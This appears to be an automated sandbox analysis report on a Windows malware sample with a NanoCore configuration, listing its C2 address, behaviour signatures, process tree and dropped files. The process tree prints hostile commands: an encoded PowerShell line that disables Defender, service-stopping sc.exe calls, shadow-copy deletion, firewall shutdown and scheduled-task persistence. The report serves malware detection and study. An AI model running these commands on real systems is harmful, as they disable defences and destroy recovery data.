Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 18:10

General

  • Target
    2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 57KB
  • Sample261003-wsjsbsvv7q
  • SHA256 b31ed66b075d4ddbd0ee42325d62974da2a582ea91637139368bd76f791b83b6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilac6.cc

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilac6.cc

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1232
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1164
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6060
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3364
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3644
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5100
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2052
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5376
      • C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:3136
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1064
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3112
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:5276
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1916
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:2516
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5992
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3852
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5372
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1160
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2656
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:1064
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:2740
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5180
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:5176
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4416
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5256
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:624
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1652
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:2840
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5428
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:4368
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2912
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:3232
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:328
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:4552
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:2992
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2928
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:3328
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:2676
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:4648
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:1916
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2096
            • C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe
              C:\Users\Admin\AppData\Local\Temp\2026-10-02_02ce705feb614fdf3f66565fd4ce6fc5_destroyer_elex_glassworm_ngrbot_wannacry.exe
              1⤵
                PID:1860

              Network

                    MITRE ATT&CK Enterprise v16

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                    Downloads

                    scr_20261003_191145.jpg

                    • Path C:\ProgramData\SysUpdate\Scr\scr_20261003_191145.jpg
                    • Size 121KB
                    • SHA256 98306c805f25b58c99921f73b551cf413050d0b5acf4456fde1ee912fbbef204
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    doc_2.pdf

                    • Path C:\SystemVolumeInformation\doc_2.pdf
                    • Size 76KB
                    • SHA256 0d6b87a0cc9f8b0406ffaf27bbd7730ef248168ca5b1ba9051bf65e7e87ceb2c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    __PSScriptPolicyTest_uducsohc.ng0.psm1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uducsohc.ng0.psm1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    createshortcut.vbs

                    • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                    • Size 309B
                    • SHA256 90bafb7ac69db07fad6df9794cd5728f4212437d18a37290946c108dfdce5a66
                    • MD5 SHA1 SHA512 TLSH

                    del.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                    • Size 59B
                    • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                    • MD5 SHA1 SHA512 TLSH

                    makelnk.vbs

                    • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                    • Size 310B
                    • SHA256 03d4670f899f711a1c9289393e7e648b94bfa96562e91fbd01d278f7ee90b74c
                    • MD5 SHA1 SHA512 TLSH

                    temp_steal.log

                    • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                    • Size 145KB
                    • SHA256 54635400c173e2f17f8a76e5658f53f4d30ae69dfdfb9e4800dacb3f3c71b702
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    stolen_data_here.txt

                    • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                    • Size 145KB
                    • SHA256 0c36e01f5a6bf3b529e1d8457a4d2b25ff35dc44d6f120e99bce4c8de6fb58c8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    invoice_1.pdf

                    • Path C:\Users\Admin\Documents\invoice_1.pdf
                    • Size 76KB
                    • SHA256 1f1b78cdcd0c82db75e0daa4f34c57057cc19ba257e01935e166027b8d5ea71f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    READ_ME_NANOCORE.txt

                    • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                    • Size 145B
                    • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                    • MD5 SHA1 SHA512 TLSH

                    RANSOM_NOTE.txt

                    • Path F:\RANSOM_NOTE.txt
                    • Size 177B
                    • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                    • MD5 SHA1 SHA512 TLSH

                    memory/328-2277-0x00000218511B0000-0x00000218511B1000-memory.dmp

                    memory/1092-15-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-27-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-20-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-21-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-22-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-23-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-24-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-25-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-2269-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-12-0x000002AF9D450000-0x000002AF9D472000-memory.dmp

                    memory/1092-17-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-90-0x000002AF9D9A0000-0x000002AF9D9BE000-memory.dmp

                    memory/1092-100-0x000002AF9DAD0000-0x000002AF9DB82000-memory.dmp

                    memory/1092-16-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-131-0x000002AF9DB90000-0x000002AF9DB9A000-memory.dmp

                    memory/1092-18-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/1092-14-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-0-0x00007FFE0944F000-0x00007FFE09450000-memory.dmp

                    memory/5464-9-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-13-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-26-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-5-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-4-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-2280-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-2281-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-2282-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-3-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-2-0x00007FFE092C0000-0x00007FFE09C64000-memory.dmp

                    memory/5464-1-0x00000000007A0000-0x00000000007B4000-memory.dmp